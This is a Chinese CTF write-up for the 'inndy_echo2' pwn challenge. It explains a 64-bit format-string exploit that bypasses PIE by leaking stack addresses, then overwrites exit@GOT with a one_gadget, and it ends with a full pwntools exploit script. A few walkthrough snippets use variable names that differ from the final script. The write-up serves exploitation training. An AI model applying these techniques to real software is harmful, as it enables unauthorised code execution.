inndy_echo2
步骤
- 例行检查,64位程序,开启了nx和pie
- 本地试运行一下,看看大概的情况,猜测跟echo差不多。
- 64位ida载入,跟32位echo一样的代码,只是多开了一个PIE
64位的格式化字符串漏洞,它跟32位有挺大区别的,要注意‘00’的截断,不可以像32位那样一步修改到位,它一次只可修改2字节。不清楚的先看这篇文章 - 首先对于PIE,我们要先想办法泄露程序基址
在执行echo函数时,echo的栈帧的上一个元素存储了函数的返回地址,返回到main中,所以栈中必定有返回地址
动调找一下程序的基址和libc
动调步骤:
gdb echo2
b main
r
一直ni,直到输入点
在输入点查看一下程序的偏移量,确定偏移为6
此时栈上的参数已经都加载好了,查看栈上的元素
可以看到参数直接存放在栈上,没用使用寄存器,因此数一下上图标记处的偏移,main+74
是41,libc_start_main+240
是43,这样就得到了程序的基址和libc基址
p.sendline('%41$p')
elf_base=int(p.recv(14),16)- 74 - 0x9b9 #0x9b9是开启了pie的main函数地址
success('elf base: '+hex(elf_base))
p.recv()
p.sendline('%43$p')
libc_start_main=int(p.recv(14),16)-240
success('libc_start_main addr: '+hex(libc_start_main))
- 现在我们要利用fgets函数来泄露libc
之前动调的时候找到的偏移是6,利用这个偏移来泄露一下fgets@got,要注意‘00’截断,所以这边修改了一下,采用的
p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))
,8*a是用来填充‘00’的
fgets_got_addr = elf_base + elf.got["fgets"]
exit_got = elf_base + elf.got["exit"]
p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))
p.recvuntil("stop")
fgets_addr = u64(sh.recvuntil("aaaaaaaa",drop=True)[0:8].ljust(8,'\x00'))
print hex(fgets_addr)
libc = LibcSearcher('fgets', fgets_addr)
看到匹配的libc是2.23-64,在buu上下载
- 程序和libc基址有了,PIE可以绕过了,libc版本有了,可以尝试修改got表了。一开始还是像将printf@got改成system的,但是实操的时候发现有点问题,看其他师傅的wp都写的太精简了,没搞明白,就根据其他师傅的wp将exit改成了one_gadget
exit_got = elf_base + elf.got["exit"]
one=[0x45216,0x4526a,0xf02a4,0xcd0f3,0xcd1c8,0xf02b0,0xf1147,0xf66f0]
one_gadget=one[2]+libc_base
one1=one_gadget&0xffff
one2=(one_gadget>>16)&0xffff
one3=(one_gadget>>32)&0xffff
payload=('%'+str(one1)+'c%8$hn').ljust(16,'.')+p64(exit_addr)
p.sendline(payload)
p.recv()
sleep(0.5)
payload=('%'+str(one2)+'c%8$hn').ljust(16,'.')+p64(exit_addr+2)
p.sendline(payload)
p.recv()
sleep(0.5)
payload=('%'+str(one3)+'c%8$hn').ljust(16,'.')+p64(exit_addr+4)
p.sendline(payload)
p.recv()
sleep(0.5)
最后输入exit即可调用one_gadget获取shell
完整exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote('node3.buuoj.cn',25416)
#p=process('./echo2')
elf=ELF('./echo2')
p.sendline('%41$p')
elf_base=int(p.recv(14),16)- 74 - 0x9b9
success('elf base: '+hex(elf_base))
p.recv()
p.sendline('%43$p')
libc_start_main=int(p.recv(14),16)-240
success('libc_start_main addr: '+hex(libc_start_main))
#fgets_got_addr = elf_base + elf.got["fgets"]
#p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))
#p.recvuntil("stop")
#fgets_addr = u64(p.recvuntil("aaaaaaaa",drop=True)[0:8].ljust(8,'\x00'))
#print hex(fgets_addr)
#libc = LibcSearcher('fgets', fgets_addr)
#print hex(libc.dump('fgets'))
libc=ELF('./libc-2.23-64.so')
libc_base=libc_start_main-libc.sym['__libc_start_main']
exit_got = elf_base + elf.got["exit"]
one=[0x45216,0x4526a,0xf02a4,0xcd0f3,0xcd1c8,0xf02b0,0xf1147,0xf66f0]
one_gadget=one[2]+libc_base
one1=one_gadget&0xffff
one2=(one_gadget>>16)&0xffff
one3=(one_gadget>>32)&0xffff
payload=('%'+str(one1)+'c%8$hn').ljust(16,'.')+p64(exit_got)
p.sendline(payload)
p.recv()
sleep(0.5)
payload=('%'+str(one2)+'c%8$hn').ljust(16,'.')+p64(exit_got+2)
p.sendline(payload)
p.recv()
sleep(0.5)
payload=('%'+str(one3)+'c%8$hn').ljust(16,'.')+p64(exit_got+4)
p.sendline(payload)
p.recv()
sleep(0.5)
p.sendline('exit')
p.interactive()